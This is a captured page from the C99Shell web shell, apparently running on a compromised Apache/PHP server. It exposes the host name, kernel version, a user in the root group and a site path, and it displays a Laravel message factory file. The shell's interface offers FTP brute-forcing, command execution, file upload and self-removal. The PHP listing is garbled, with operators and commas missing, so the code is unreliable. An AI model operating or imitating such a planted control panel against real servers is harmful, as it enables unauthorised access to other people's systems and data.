!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/database/factories/   drwxr-xr-x
Free 28.38 GB of 117.98 GB (24.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MessengerFactory.php (1.61 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Database\Factories;

use 
App\Models\MessengerUser;
use 
Illuminate\Database\Eloquent\Factories\Factory;
use 
Illuminate\Support\Arr;

/**
 * @extends \Illuminate\Database\Eloquent\Factories\Factory<\App\Models\Messenger>
 */
class MessengerFactory extends Factory
{
    
/**
     * Define the model's default state.
     *
     * @return array<string, mixed>
     */
    
public function definition(): array
    {
        
$title $this->faker->sentence($nbWords 10$variableNbWords true);
        
$user_1 1;
        
$user_2 Arr::random([23]);

        
// $user_2 = Arr::random([15, 16]);
        // $user_2 = Candidate::inRandomOrder()->value('id');
        // $chat_id = MessengerUser::where('company_id', $user_1)->where('candidate_id', $user_2)->value('id');

        
$messenger_user_id MessengerUser::where(function ($query) use ($user_1$user_2) {
            
$query->where(function ($q) use ($user_1$user_2) {
                
$q->where('from_id'$user_1);
                
$q->where('to_id'$user_2);
            })
                ->
orWhere(function ($q) use ($user_1$user_2) {
                    
$q->where('to_id'$user_1);
                    
$q->where('from_id'$user_2);
                });
        })->
value('id');

        return [
            
'to_id' => Arr::random([$user_1$user_2]),
            
'from_id' => Arr::random([$user_1$user_2]),
            
'body' => $title,
            
'read' => rand(01),
            
'messenger_user_id' => $messenger_user_id,
            
'created_at' => $this->faker->dateTimeBetween($startDate '-1 years'$endDate 'now'$timezone null),
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0066 ]--